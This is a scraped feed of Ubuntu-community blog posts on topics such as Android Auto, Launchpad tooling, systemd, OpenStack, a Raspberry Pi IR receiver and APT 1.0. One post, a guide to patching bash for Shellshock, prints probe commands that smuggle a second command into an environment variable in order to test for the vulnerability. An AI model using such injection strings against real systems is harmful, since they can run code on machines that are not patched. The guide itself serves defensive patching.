]]> Philip Ballew Test Android Auto – New Opel Astra [ENG] https://www.mirkopizii.com/ubuntu-com-planet/test-android-auto-new-opel-astra-eng/ https://www.mirkopizii.com/ubuntu-com-planet/test-android-auto-new-opel-astra-eng/ Sat, 30 Jan 2016 23:00:00 GMT Well yes, not only reviews and tests only for products like computer but today we are also on car industry testing the new Opel Astra Elective which supports Android Auto.

First of all, before I start, I want to thanks my friend Davide, who works in Opel workshop, for all of his patience and availability gave to me. Really thanks because he lets me to write this review.
Of course, I tested this all with him smartphone (OnePlus Two) and mine (Nexus 5). Screenshots made by him 🙂

Details about new Opel Astra Elective

Unfortunately in this first “episode” I will focus on use of Android Auto but, if you want to see more (explained) car’s details, you can go to Opel website: http://www.opel.com/

What is Android Auto?

I don’t know how to say.. Android Auto is all and nothing…

What I want to say, informally, is that Android Auto is what we see on our car’s display..
It seems a common operative system where, by default, there are different separate applications installed where you may have to update them for fixing bugs and you may need to go to your trusted mechanical.

No, you have not to do all these things I wrote. It’s only a sort of “Screen Mirroring” or better, you see in your car’s display, what you should see on your smartphone’s screen. You may ask “what about apps?”.
No problem with apps, they are directly to your smartphone! It sounds strange, no?

So ok, you might not understand what I’m saying and of course, what you can do with Android Auto.
To give an example, you can think about using modern technology system (including functionalities of your smarphone) into every car that have Android Auto receiver.
After installing official application via Play Store, you will be able to open, through display, apps which gives support such as Spotify, WhatsApp, standard functionalities like messages, calls, Google Maps, Google Play Music and many more.
Of course to go on, you should connect your smartphone to your car using the USB cables.

Exploring Android Auto

If we remove the automatic access to Android Auto when we connect the phone, or we exit from this mode without disconnect it from USB, the “Trasmission” icon will be the one of Android Auto.

1_Android_auto_opelastra(Click image to enlarge)

After connection, you can see a short and fast tutorial which explain you how to use Android Auto.
Of course if you haven’t install “Android Auto” application, you will be required to do it through Play Store.

This is the first thing that appear after the connection is this:

2_Android_auto_opelastra(Click image to enlarge)

Here is the small tutorial where the app explain the first steps.. In this screen, Android Auto say that we can press button (available on steering wheel) to active vocal commands (and here we will use Google Now functionalities).

3_Android_auto_opelastra(Click image to enlarge)

We don’t like the button or it does not work anymore because we broke it? No problem, we could use the vocal commands by pressing microphone icon on the top right.

4_Android_auto_opelastra(Click image to enlarge)

And here, the app shows us menu’ which have the role of launcher. It lets us to access to various applications like navigator, phone, music, etc.
About navigator, by default, it’s used Google Maps, Google Play Music for our music and the default app we have for everything we want.

Of course we can use different messaging apps like WhatsApp, Telegram and so on but only if they are compatible with Android Auto. (They will be more soon).

5_Android_auto_opelastra6_Android_auto_opelastra

(Click image to enlarge)

When all it’s loaded (and accepted warnings), we will be in front of first screen which is what we see into Google Now and so, what we see on our phone, we will see into car’s display..

In my case, I see that I can start navigator to drive to Modena or I can choose the last address that I’ve inserted into Google Maps. Other informations displayed are traffic, and how much the trip would take, in terms of time.

7_Android_auto_opelastra(Click image to enlarge)

We don’t like Google Play Music or we don’t have internet connection? No problem we can use the default radio Opel system. Here’s how it will be.
Note, we can also see the weather forecast.. It’s surely the Google Now!

8_Android_auto_opelastra(Click image to enlarge)

Touching the “Phone” icon, we can see our address book. If we want, we can also digit phone number and start calling.
Naturally, we can use vocal commands when available by press on button on steering wheel or display.

9_Android_auto_opelastra(Click image to enlarge)

Starting navigation, as said, we have 3D view of Google Maps and also here, we can insert address by talking (through vocal commands) or write it with touchscreen.

10_Android_auto_opelastra(Click image to enlarge)

We was talking about choose different application instead of default..
When we press button on menu, if more apps are available for the selection, before the default we will be asked to select which one we want to use.
For example, pressing music icon, we will be asked if open Google Play Music or Spotify.

11_Android_auto_opelastra(Click image to enlarge)

Yeah, Spotify is available (and we can see it through selections) and we choose it!
What say, we have convergence with different devices, in fact, using and installing only one application, we can have compatibility for phone and Android Auto.
Spotify of course it’s really similar to what appears on our phone.

12_Android_auto_opelastra13_Android_auto_opelastra

(Click image to enlarge)

Also WhatsApp it’s available with Android Auto and you can notice how the small notification appears when we receive message.
Touching the notification (on display), the system will read us the message via TTS (Text-To-Speech) and we can obviously reply thanks to the vocal system.

Anyway, we can also send a message saying “Send Message” followed with the name of contact.

14_Android_auto_opelastra(Click image to enlarge)

You received message and you have to reply without press keys on touchscreen? If available, we can answer with a fast standard reply like “I’m driving, sorry!” as WhatsApp do.

15_Android_auto_opelastra(Click image to enlarge)

You don’t like or don’t want to use Android Auto anymore? You’re free to exit (also with smartphone connected).

16_Android_auto_opelastra(Click image to enlarge)

Conclusions

What I can say, in my honest opinion it’s really curious and nice.. Maybe if the maps of Google Maps would be more updated like “Tom Tom”, it would be really something perfect.
After all, also the possibility of developing own applications for Android Auto or using existing one for music, messages, and so on.. It’s something really nice.

About me, I like it and it deverves all the best. Really congratulations to Google!

Of course, if you’re instered into developing apps, having more details or see who supports Android Auto, you can visit this website: https://www.android.com/intl/en/auto/.

Note: if you found something incorrect about what I said or about my not best english, write into comments please.. Thank you!

]]> Mirko Pizii How to Integrate Slack with Launchpad https://daker.me/2016/01/how-to-integrate-slack-with-launchpad.html https://daker.me/2016/01/how-to-integrate-slack-with-launchpad.html Tue, 26 Jan 2016 00:00:00 GMT Slack is a great platform for team communication, it is a collection of chat rooms, both public and private. It helps confine all your team communications to one place. Slack also provides an API to let you interacte with it, so i have to decided to write a simple app using Flask to integrate Slack with Launchpad using its new webhooks feature.

Launchpad & Slack logos

Deploying to Heroku

You can check the full steps in the README file

$ git clone git@github.com:daker/launchpad-slack.git
$ cd launchpad-slack
$ heroku create
$ git push heroku master
$ heroku open

Once installed and everything is configured, things will start working like a charm :

Slack chat Slack Slash command

Contributing

Of course of you can contribute fixes and improvements, how to do it ? easy :

  • Fork it
  • Create your feature branch (git checkout -b my-new-feature)
  • Commit your changes (git commit -am 'Add some feature')
  • Push to the branch (git push origin my-new-feature)
  • Create new Pull Request
]]> Adnane Belmadiaf mass subscriptions http://polka.bike/blog/mass-subs http://polka.bike/blog/mass-subs Fri, 11 Dec 2015 23:12:44 GMT As you may be aware, Lubuntu is transitioning from GTK to Qt graphics libraries, which means a transition from LXDE to LXQt. Same people, more or less, just different libs. Of course, every component is different. We finally have packages in Debian and Ubuntu Xenial. There's even instructions on how to install them!

We needed to subscribe our Lubuntu Packages Team to all of these bug mails. Sure, we could have went to 18 different source package pages and just clicked our way to it, but that kind of takes a darn while.

Luckily there's a solution: launchpadlib. Just a pip install away (or use package python-launchpadlib), it gives you all sorts of control over and access to Launchpad data. It's almost better than using the web interface! Well, assuming you're fine with Python.

In our case here, it's possible to simply name a team and/or person and give it a list of packages and have it subscribe them all. Takes a few seconds after you have the code, which you can find here. The meat of the code is one line:

lp.distributions['ubuntu'].getSourcePackage(name=filearray[i]).addBugSubscription(subscriber=lp.people[teamtowrite])

which is basically like saying for a particular source package in the Ubuntu project, add a bug subscription for the particular team or person. Heck, it almost reads like normal English.

This might be useful for normal people, too. Say you wanted to subscribe to all the bugs for a particular set of packages you're helping to develop. It'd be great for that.

More than anything, it shows the power of the Launchpad API and the hard work that Colin and the rest of the Launchpad team put into it!

With that, I'd like to especially thank cjwatson, dobey, and wgrant, whom were all helpful in figuring this out on IRC, as well as tsimonq2, who was responsible for the majority of the code.

]]> Walter Lapchynski Current progress on AlgAudio https://rafalcieslak.wordpress.com/2015/10/06/current-progress-on-algaudio/ https://rafalcieslak.wordpress.com/2015/10/06/current-progress-on-algaudio/ Tue, 06 Oct 2015 18:24:20 GMT … or “what I’ve been working on for the past three months”.

So this summer I have participated in a programming internship at Audiovisual Technology Center – CeTA in Wrocław. CeTA is developing a number of very exciting projects, and the one I had the pleasure to work on is AlgAudio.

screenshot

(download links available below)

AlgAudio is a new signal processing framework that we’ve been developing from scratch. The user builds an audio processing network by placing “building blocks” of simple operations, connecting them together, configuring their parameters, and defining how the parameters should influence each other. The network works in real time, so any changes to the parameters are immediately reflected in the outputted audio. This makes AlgAudio a perfect tool for live performances.

The general concept was inspired by Max/MSP, but AlgAudio is intended to provide a higher-level interface. It is supposed to be used by musicians, so we do our best to make it easy to work with without any programming or mathematical skills. The building blocks usually represent a more complex operation (comparing to Max or PureData), and expose a number of parameters that can be manually configured, or controlled live via an external controller.

At this stage, AlgAudio is ready to be tried out. Most core features are already implemented, so you can actually build really interesting synthesizers. However, there is still a lot to be done. Most importantly, the module collections need expansion (currently only the very basic modules are available, for example there are no audio filtering blocks available ATM), the module browser needs a better hierarchical structure, we are missing a number of parameter connecting modes, the UI needs various improvements, subpatching and polyphonic features need improvements, and we need a test framework to ensure top quality.

We also believe that creating external modules should be very simple, so that third-parties can provide their own module collections. The API is not quite stable yet, but we’re getting there. This is what an example module looks like:

  <module id="mix3" name="3ch mixer">
    <params>
      <inlet id="in1"/>
      <inlet id="in2"/>
      <inlet id="in3"/>
      <outlet id="out"/>
    </params>
    <description> This module mixes three channels together. </description>
    <sc>
arg in1, in2, in3, out;
var sum = In.ar(in1) + In.ar(in2) + In.ar(in3); 
Out.ar(out, sum);
    </sc>
    <gui type="standard auto"/>
  </module>

It’s that simple!

But what if you would like to inject custom features? AlgAudio has a built-in plugin system. Each module may come with custom logic. The C++ interface allows interaction with literally any other AlgAudio component (you might even get as far as to, say, get your module to modify how other modules are displayed!). Below is the source of a simple module that sums the values of two parameters, and outputs the result as a third parameter.

class DataSum : public AlgAudio::Module{
  void on_param_set(std::string name, float value){
    float v  = GetParamControllerByID("input1")->Get();
          v += GetParamControllerByID("input2")->Get();
    GetParamControllerByID("output")->Set(v);
  }
};

This source code should be pretty self-explanatory. Does it get much more complex? Here’s a sequencer module that outputs a hard-coded sequence:

class SimpleSeq : public AlgAudio::Module{
public:
  int i = 7;
  int seq[8] = {60, 62, 64, 65, 64, 62, 69, 67};
  const  float fill = 0.8;
  void on_init(){
    step();
  }
  void step(){
    i = (i+1)%8;
    int note = seq[i];
    float period = GetParamControllerByID("period")->Get();
    GetParamControllerByID("freq")->Set( AlgAudio::Utilities::mtof(note) );
    GetParamControllerByID("gate")->Set(1.0f);
    timerhandles += AlgAudio::Timer::Schedule(period * fill, [this](){
      GetParamControllerByID("gate")->Set(0.0f);
    });
    timerhandles += AlgAudio::Timer::Schedule(period, [this](){
      step();
    });
  }
  
};

You can browse the API here.

We are releasing AlgAudio under the terms of the Lesser GNU General Public License, so you’ll be free to use it however you like. We host AlgAudio source code on Github.

At this moment the development of AlgAudio will significantly slow down, as we are looking for funds and contributors. We will be thankful if you could notify us about your interest in AlgAudio (contact either me or CeTA).

Download

AlgAudio will be getting an official website soon, but before that you can download binaries for Linux and Windows from Github (OS X support is planned). Downloads for 1.99.1

Please keep in mind that this is not a stable release, and we cannot guarantee that AlgAudio won’t crash sometimes. If you find any bugs, please report them here.

]]> Rafał Cieślak Resource control with systemd https://dktrkranz.wordpress.com/2015/09/02/resource-control-with-systemd/ https://dktrkranz.wordpress.com/2015/09/02/resource-control-with-systemd/ Wed, 02 Sep 2015 16:31:54 GMT I’m receiving more requests for upload accounts to the Deb-o-Matic servers lately (yay!), but that means the resources need to be monitored and shared between the build daemons to prevent server lockups.

My servers are running systemd, so I decided to give systemd.resource-control a try. My goal was to assign lower CPU shares to the build processes (debomatic itself, sbuild, and all the related tools), in order to avoid blocking other important system services from being spawned when necessary.

I created a new slice, and set a lower CPU share weight:
$ cat /etc/systemd/system/debomatic.slice
[Slice]
CPUAccounting=true
CPUShares=512
$

Then, I assigned the slice to the service unit file controlling debomatic daemons by adding the Slice=debomatic.slice option under the Service directive.

That was not enough, though, as some processes were assigned to the user slice instead, which groups all the processes spawned by users:
systemd-cgls

This is probably because schroot spawns a login shell, and systemd considers it belonging to a different process group. So, I had to launch the command systemctl set-property user.slice CPUShares=512, so all processes belonging to the user.slice will receive the same share of the debomatic ones. I consider this a workaround, I’m open to suggestions how to properly solve this issue 🙂

I’ll try to explore more options in the coming days, so I can improve my knowledge of systemd a little bit more 🙂

]]> Luca Falavigna DebConf 15 https://overbenny.wordpress.com/2015/08/16/debconf-15/ https://overbenny.wordpress.com/2015/08/16/debconf-15/ Sun, 16 Aug 2015 11:31:42 GMT I am still alive and currently attending DebConf 15. Feel free to grab me for a talk. I am just shy, not antisocial.

]]> Benjamin Drung SUSE Ruling the Stack in Vancouver https://www.vuntz.net/journal/post/2015/05/26/SUSE-Ruling-the-Stack-in-Vancouver https://www.vuntz.net/journal/post/2015/05/26/SUSE-Ruling-the-Stack-in-Vancouver Mon, 25 May 2015 22:58:00 GMT Rule the Stack

Last week during the the OpenStack Summit in Vancouver, Intel organized a Rule the Stack contest. That's the third one, after Atlanta a year ago and Paris six months ago. In case you missed earlier episodes, SUSE won the two previous contests with Dirk being pretty fast in Atlanta and Adam completing the HA challenge so we could keep the crown. So of course, we had to try again!

For this contest, the rules came with a list of penalties and bonuses which made it easier for people to participate. And indeed, there were quite a number of participants with the schedule for booking slots being nearly full. While deploying Kilo was a goal, you could go with older releases getting a 10 minutes penalty per release (so +10 minutes for Juno, +20 minutes for Icehouse, and so on). In a similar way, the organizers wanted to see some upgrade and encouraged that with a bonus that could significantly impact the results (-40 minutes) — nobody tried that, though.

And guess what? SUSE kept the crown again. But we also went ahead with a new challenge: outperforming everyone else not just once, but twice, with two totally different methods.

For the super-fast approach, Dirk built again an appliance that has everything pre-installed and that configures the software on boot. This is actually not too difficult thanks to the amazing Kiwi tool and all the knowledge we have accumulated through the years at SUSE about building appliances, and also the small scripts we use for the CI of our OpenStack packages. Still, it required some work to adapt the setup to the contest and also to make sure that our Kilo packages (that were brand new and without much testing) were fully working. The clock result was 9 minutes and 6 seconds, resulting in a negative time of minus 10 minutes and 54 seconds (yes, the text in the picture is wrong) after the bonuses. Pretty impressive.

But we also wanted to show that our product would fare well, so Adam and I started looking at this. We knew it couldn't be faster than the way Dirk picked, and from the start, we targetted the second position. For this approach, there was not much to do since this was similar to what he did in Paris, and there was work to update our SUSE OpenStack Cloud Admin appliance recently. Our first attempt failed miserably due to a nasty bug (which was actually caused by some unicode character in the ID of the USB stick we were using to install the OS... we fixed that bug later in the night). The second attempt went smoother and was actually much faster than we had anticipated: SUSE OpenStack Cloud deployed everything in 23 minutes and 17 seconds, which resulted in a final time of 10 minutes and 17 seconds after bonuses/penalties. And this was with a 10 minutes penalty due to the use of Juno (as well as a couple of minutes lost debugging some setup issue that was just mispreparation on our side). A key contributor to this result is our use of Crowbar, which we've kept improving over time, and that really makes it easy and fast to deploy OpenStack.

Wall-clock time for SUSE OpenStack Cloud

Wall-clock time for SUSE OpenStack Cloud

These two results wouldn't have been possible without the help of Tom and Ralf, but also without the whole SUSE OpenStack Cloud team that works on a daily basis on our product to improve it and to adapt it to the needs of our customers. We really have an awesome team (and btw, we're hiring)!

For reference, three other contestants succeeded in deploying OpenStack, with the fastest of them ending at 58 minutes after bonuses/penalties. And as I mentioned earlier, there were even more contestants (including some who are not vendors of an OpenStack distribution), which is really good to see. I hope we'll see even more in Tokyo!

Results of the Rule the Stack contest

Results of the Rule the Stack contest

Also thanks to Intel for organizing this; I'm sure every contestant had fun and there was quite a good mood in the area reserved for the contest.

Update: See also the summary of the contest from the organizers.

]]> Vincent Untz Here’s how to patch Ubuntu 8.04 or anything where you have to build bash from source https://leftyfb.com/2014/09/25/heres-how-to-patch-ubuntu-8-04-or-anything-where-you-have-to-build-bash-from-source/ https://leftyfb.com/2014/09/25/heres-how-to-patch-ubuntu-8-04-or-anything-where-you-have-to-build-bash-from-source/ Thu, 25 Sep 2014 17:03:01 GMT UPDATED: I have updated the post to include the post from gb3 as well as additional patches and some tests

Just a quick post to help those who might be running older/unsupported distributions of linux, mainly Ubuntu 8.04 who need to patch their version of bash due to the recent exploit here:

http://thehackernews.com/2014/09/bash-shell-vulnerability-shellshock.html

I found this post and can confirm it works:

https://news.ycombinator.com/item?id=8364385

Here are the steps(make a backup of /bin/bash just in case):

#assume that your sources are in /src
cd /src
wget http://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz
#download all patches
for i in $(seq -f "%03g" 1 28); do wget http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-$i; done
tar zxvf bash-4.3.tar.gz
cd bash-4.3
#apply all patches
for i in $(seq -f "%03g" 1 28);do patch -p0 < ../bash43-$i; done
#build and install
./configure --prefix=/ && make && make install
cd ../../
rm -r src

To test for exploits CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, and CVE-2014-7187 I have found the following information at this link

To check for the CVE-2014-6271 vulnerability

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

it should NOT echo back the word vulnerable.

To check for the CVE-2014-7169 vulnerability
(warning: if yours fails it will make or overwrite a file called /tmp/echo that you can delete after, and need to delete before testing again )

cd /tmp; env X='() { (a)=>\' bash -c "echo date"; cat echo

it should say the word date then complain with a message like cat: echo: No such file or directory. If instead it tells you what the current datetime is then your system is vulnerable.

To check for CVE-2014-7186

bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' || echo "CVE-2014-7186 vulnerable, redir_stack"

it should NOT echo back the text CVE-2014-7186 vulnerable, redir_stack.

To check for CVE-2014-7187

(for x in {1..200} ; do echo "for x$x in ; do :"; done; for x in {1..200} ; do echo done ; done) | bash || echo "CVE-2014-7187 vulnerable, word_lineno"

it should NOT echo back the text CVE-2014-7187 vulnerable, word_lineno.

]]> Mike Rushton Open Source Conference 2014 Kansai@Kyoto https://mizuno-as.hatenadiary.org/entry/20140806/1407307913 https://mizuno-as.hatenadiary.org/entry/20140806/1407307913 Wed, 06 Aug 2014 06:51:53 GMT On August 1-2, 2014, Open Source Conference 2014 Kansai@Kyoto was held in Kyoto.
(http://www.ospn.jp/osc2014-kyoto/)


This event is the largest OSS community gathers for in Japan. We participate as exhibitor and speaker every year. Yes, Of course as for this year.


Hiroshi Chonan was in charge of the seminar. He talked about trusty and Utopic.

The highlight of the event is as follows:


The NetBSD team displayed Luna work station of OMRON. Luna(= opposed to Sun) is very old UNIX workstation in Japan. However, the newest Twitter client "Mikutter" works in this workstation on NetBSD!


Mikutter is simple, powerful and moeful twitter client. This is very popular among young geek. (We call them "Teokure" in Japan)


This is Takayoshi Okano. He is one of greatest FLOSS translators in Japan. And it is Open Street Map mapper too.

In this way, the Japanese FLOSS community is very active and happy!

]]> Hajime MIZUNO Ubuntu 14.04 LTS release party + Offline meeting 14.04 Tokyo http://fabric-janitor.blogspot.com/2014/06/a-few-weeks-ago-ubuntu-japanese-team.html http://fabric-janitor.blogspot.com/2014/06/a-few-weeks-ago-ubuntu-japanese-team.html Thu, 05 Jun 2014 03:09:00 GMT
Virtual tour:
1) A lot of sandwitchs (for 100 enlister) and party dishes.


Note: These represent just the tip of the iceberg. But, they completely-disappeared within 20 minutes....:)


2) A lot of Ubuntu 14.04 LTS CDs (From LoCo kit, thanks Canonical!) with *pretty* stuffed Tahr and Unicorn (owner: Shibata Mitsuya).






3) Terazono Junya with LipoD(Lipovitan D, Japanese popular energy drink).
 


4) Large screen (very nice, thanks GREE!)



5) Retrospective by Jun. Ubuntu Japanese Team create "Ubuntu Japanese Remix" for a long time (about 8years), He is great leader.




6) Seminar by Tokura Aya (Microsoft). She is evangelist/image character of Microsoft Azure/Cloud in Japan.
 



7) Seminar by Shiobara Hiroaki(GMO Internet). He escort "Mikumo-Conoha", the macot fay of "ConoHa" (CMO's Cloud service). 
 

8) Seminar by Yokota Masatoshi(Sakura Internet), He and Mr. Shiobara starts a verbal battle like Wrestling Entertainment (Its entertainment. They keep friendliness and respets, but thats engage in a heated debate. I Know, they give the right hand of fellowship after sessions. :) ).



One of sessions theme are "Retrospective", overview for 10 years of ubuntu.

- "Ubuntu and Me, a certain ubuntu user's voice" by Terazono Junya (indivisual, but he is famous planetary informatics scientist, a.k.a. "Hayabusa project's PR expert with LipoD" ).
- "Retrospective last 10 years" by Kobayashi Jun (Ubuntu Japanese Team)

Another seminar sessions focused "VPS and Cloud production environment with Ubuntu", line-up as follows.

- "Ubuntu + Microsoft Azure, Quickguide before a you use Azure"  by Tokura Aya, a.k.a. "Cloudia Madobe" (Microsoft Corporation).
- "Ubuntu on Microsoft Azure" by Tsumura Akira (Japan Azure User Group)
- "GMO Cloud with Ubuntu 14.04" by Shiobara Hiroaki (GMO Internet)
- "Using Ubuntu on Sakura's VPS/Cloud" by Yokota Masatoshi (Sakura Internet)
- "Using Juju for your Ubuntu environment" by Matsumoto Takenori (Canonical)

Yes, they are awesome presenters(thanks!), they distribute Ubuntu environment as a Cloud/VPS operator. We can use Ubuntu on there VPS/Cloud service with your one-click operation. Excellent!


And, You can check an another report on gihyo.jp (http://gihyo.jp/admin/serial/01/ubuntu-recipe/0325) by Terauchi Yasuyuki (in Japanese), that sponsored by GIHYO.

In closing, I would like to thank you all for convention. Thanks a lot!

]]> Fumihito YOSHIDA Trusty DVD parcels http://my-ubuntu-day.blogspot.com/2014/05/trusty-dvd-parcels.html http://my-ubuntu-day.blogspot.com/2014/05/trusty-dvd-parcels.html Sun, 18 May 2014 14:21:00 GMT I am just getting the parcels of DVDs ready. I will take them to the post office this week sometime. Thanks to everyone who is willing to be a distribution point.
]]> Maia Grotepass Ubuntu Open Week wrap-up https://ubuntuclassroom.wordpress.com/2014/04/25/ubuntu-open-week-wrap-up-2/ https://ubuntuclassroom.wordpress.com/2014/04/25/ubuntu-open-week-wrap-up-2/ Fri, 25 Apr 2014 23:20:49 GMT ubuntu-open-week

From April 22nd through April 24th the Ubuntu Classroom team worked with teams across the Ubuntu community to bring together 12 sessions exploring various parts of our community, from Documentation to Core Apps to the Kernel team to present Ubuntu Open Week.

The event was a huge success! If you missed anything, logs (for IRC-based sessions) and videos (from On Air! sessions) are now available:

Tues 22 Apr Wed 23 Apr Thu 24 Apr
Introduction to Open Week – jose Ubuntu Women Project – pleia2 and belkinsa Ubuntu Development Team – dholbach
Ubuntu Server Team – beisner Get started contributing to Ubuntu Core Apps [ON AIR!] – popey and dpm Organizing Ubuntu App Dev Schools – dholbach and dpm
Ubuntu Documentation Team – pleia2 Ubuntu Kernel Team – jsalisbury Kubuntu Team – Quintasan, ovidiu-florin
Getting Acquainted with the Juju Review Queue and Process [ON AIR!] – lazyPower Ubuntu Quality Team – balloons Ubuntu LoCo Teams – jose

Thanks again to everyone who participated in this event, from presenters who lead sessions to attendees who came with their curiosity and questions!

]]> Ubuntu Classroom IR Receiver extension for Ambilight raspberry pi clone http://supermario-world.blogspot.com/2014/04/ir-receiver-extension-for-ambilight.html http://supermario-world.blogspot.com/2014/04/ir-receiver-extension-for-ambilight.html Wed, 23 Apr 2014 05:48:00 GMT
This brought me to trying to do it directly via my remote.  My HTPC uses a mceusb, so I was tempted to just get another mceusb for the pi.  This would have been overkill though, the pi has tons of unused GPIO's, it can be done far simpler (and cheaper).

I looked into it and discovered that someone actually already wrote a kernel module that directly controls an IR sensor on a GPIO.  The kernel module is based off the existing lirc_serial module, but adapted specifically for the raspberry pi.  (See http://aron.ws/projects/lirc_rpi/ for more information)

Hardware

All that's necessary is a 38 kHz IR sensor.  You'll spend under $5 on one of them on Amazon (plus some shipping) or you can get one from radio shack if you want something quick and local.  I spent $4.87 on one at my local radio shack.

The sensor is really simple, 3 pins.  All 3 pins are available in the pi's header.  One goes to 3.3V rail, one to ground, and one to a spare GPIO.  There's a few places on the header that you can use for each.  Just make sure you match up the pinout to the sensor you get.  I chose to use GPIO 22 as it's most convenient for my lego case.  The lirc_rpi defaults to GPIO 18.

Some notes to keep in mind:

  1. While soldering it, be cognizant of which way you want the sensor to face so that it can be accessed from the remote.  
  2. Remember that you are connecting to 3.3V and Ground from the Pi header.  The ground connection won't be the same as your rail that was used to power the pi if you are powering via USB.  
  3. The GPIO pins are not rated for 5V, so be sure to connect to the 3.3V.



Software


LIRC is available directly in the raspbian repositories.  Install it like this:

# sudo apt-get install lirc

Manually load the module so that you can test it.

# sudo modprobe lirc_rpi gpio_in_pin=22

Now use mode2 to test that it's working.  Once you run the command, press some buttons on your remote.  You should be output about space, pulse and other stuff.  Once you're satisfied, press ctrl-c to exit.

# mode2 -d /dev/lirc0

Now, add the modules that need to be loaded to /etc/modules.  If you are using a different GPIO than 18, specify it here again.  This will make sure that lirc_rpi loads on boot.

/etc/modules

lirc_dev
lirc_rpi gpio_in_pin=22


Now modify /etc/lirc/hardware.conf to match this configuration to make it work for the rpi:

/etc/lirc/hardware.conf

# /etc/lirc/hardware.conf
#
# Arguments which will be used when launching lircd
LIRCD_ARGS="--uinput"

#Don't start lircmd even if there seems to be a good config file
#START_LIRCMD=false

#Don't start irexec, even if a good config file seems to exist.
#START_IREXEC=false

#Try to load appropriate kernel modules
LOAD_MODULES=true

# Run "lircd --driver=help" for a list of supported drivers.
DRIVER="default"
# usually /dev/lirc0 is the correct setting for systems using udev 
DEVICE="/dev/lirc0"
MODULES="lirc_rpi"

# Default configuration files for your hardware if any
LIRCD_CONF=""
LIRCMD_CONF=""

Next, we'll record the buttons that you want the pi to trigger the backlight toggle on.  I chose to do it on the event of turning the TV on or off.  For me I actually have a harmony remote that has separate events for "Power On" and "Power Off" available.  So I chose to program KEY_POWER and KEY_POWER2.  If you don't have the codes available for both "Power On" and "Power Off" then you can just program "Power Toggle" to KEY_POWER.

# irrecord -d /dev/lirc0 ~/lircd.conf

Once you have the lircd.conf recorded, move it into /etc/lirc to overwrite /etc/lirc/lircd.conf and start lirc

# sudo mv /home/pi/lircd.conf /etc/lirc/lircd.conf
# sudo /etc/init.d/lirc start

With lirc running you can examine that it's properly recognizing your key event using the irw command.  Once irw is running, press the button on the remote and make sure your pi recognizes it.  Once you're done press ctrl-c to exit.

# irw

Now that you've validated the pi can recognize the command, it's time to tie it to an actual script.  Create /home/pi/.lircrc with contents like this:

/home/pi/.lircrc

begin
     button = KEY_POWER
     prog = irexec
     repeat = 0
     config = /home/pi/toggle_backlight.sh off
end

begin
     button = KEY_POWER2
     prog = irexec
     repeat = 0
     config = /home/pi/toggle_backlight.sh on
end

My toggle_backlight.sh looks like this:

/home/pi/toggle_backlight.sh

#!/bin/sh
ARG=toggle
if [ -n "$1" ]; then
ARG=$1
fi
RUNNING=$(pgrep hyperion-v4l2)
if [ -n "$RUNNING" ]; then
if [ "$ARG" = "on" ]; then
exit 0
fi
pkill hyperion-v4l2
hyperion-remote --color black
exit 0
fi
if [ "$ARG" = "off" ]; then
hyperion-remote --color black
exit 0
fi
#spawn hyperion remote before actually clearing channels to prevent extra flickers
hyperion-v4l2 --crop-height 30 --crop-width 10 --size-decimator 8 --frame-decimator 2 --skip-reply --signal-threshold 0.08&
hyperion-remote --clearall


To test, run irexec and then press your remote button.  With any luck irexec will launch the toggle script and change your LED status.

# irexec

Lastly, you need to add irexec to your /etc/rc.local to make it boot with the pi.  Make sure you put the execution before the exit 0

/etc/rc.local

su pi -c "irexec -d"
su pi -c "/home/pi/toggle_backlight.sh off"

Reboot your pi, and make sure everything works together.  

# sudo reboot


]]> Mario Limonciello apt 1.0 https://mvogt.wordpress.com/2014/04/04/apt-1-0/ https://mvogt.wordpress.com/2014/04/04/apt-1-0/ Fri, 04 Apr 2014 14:30:02 GMT APT 1.0 was released on the 1. April 2014 [0]! The first APT version was announced on the 1. April exactly 16 years ago [1].

The big news for this version is that we included a new “apt” binary that combines the most commonly used commands from apt-get and apt-cache. The commands are the same as their apt-get/apt-cache counterparts but with slightly different configuration options.

Currently the apt binary supports the following commands:

  • list: which is similar to dpkg list and can be used with flags like
    --installed or --upgradable.
  • search: works just like apt-cache search but sorted alphabetically.
  • show: works like apt-cache show but hide some details that people are less likely to care about (like the hashes). The full record is still available via apt-cache show of course.
  • update: just like the regular apt-get update with color output enabled.
  • install,remove: adds progress output during the dpkg run.
  • upgrade: the same as apt-get dist-upgrade –with-new-pkgs.
  • full-upgrade: a more meaningful name for dist-upgrade.
  • edit-sources: edit sources.list using $EDITOR.

Here is what the new progress looks like in 1.0:
apt-progress

You can enable/disable the install progress via: 

# echo 'Dpkg::Progress-Fancy "1";' > /etc/apt/apt.conf.d/99progressbar

If you have further suggestions or bugreport about APT, get in touch and most importantly, have fun!

]]> Michael Vogt The Ubuntu PC Case Mod Pt.10 The CPU + Kubuntu stickers https://noskcaj10.wordpress.com/2013/12/18/the-ubuntu-pc-case-mod-pt-9-the-cpu-kubuntu-stickers/ https://noskcaj10.wordpress.com/2013/12/18/the-ubuntu-pc-case-mod-pt-9-the-cpu-kubuntu-stickers/ Wed, 18 Dec 2013 06:21:44 GMT Hello everyone,

The CPU (an AMD FX-8320) finally arrived this week, and i’ve put the LEDs on since i shouldn’t be doing any more cutting any time soon. On top of this, I received a sponsorship from linux australia recently, which is paying for the main motherboard and PSU. I also have a few other parts that count as christmas gifts which i think i’m getting, plus a $10 donation to the gofundme project, which is being used for the power LEDs and a small soldering iron.

Adding the LEDs was rather easy, since they have a super strong glue strip on the underside, and it plugs straight on to the fan controller.

P1010670

P1010673

The dvd drives are now in place, they’ve turned out rather well for a first attempt at stealthing

P1010674

The CPU came in a rather large, aluminium tin.

P1010679

My favourite part of this is the lid opens up into two separate pieces

P1010682P1010683

One of which is a rather strange, but cute, print.

P1010685

The underside of the cpu. If a computer part could be un-photogenic, this is it.

P1010688

The cooler still needs a clean, but i’ll save that for when it is being painted

P1010690

The other new this week, is i’ve received 200 Kubuntu stickers. I will send these free to anyone in Australia who is willing to pay postage. Email me for my address if you would like some.

P1010692

I still need someone who cn make me the itx mount, but i’m starting to give up on that.

To sponsor me, email me at noskcaj@ubuntu.com
Current sponsor(s): IceModz.com , linux.org.au
Help fund this (Please): http://www.gofundme.com/39uhgg

Thank you

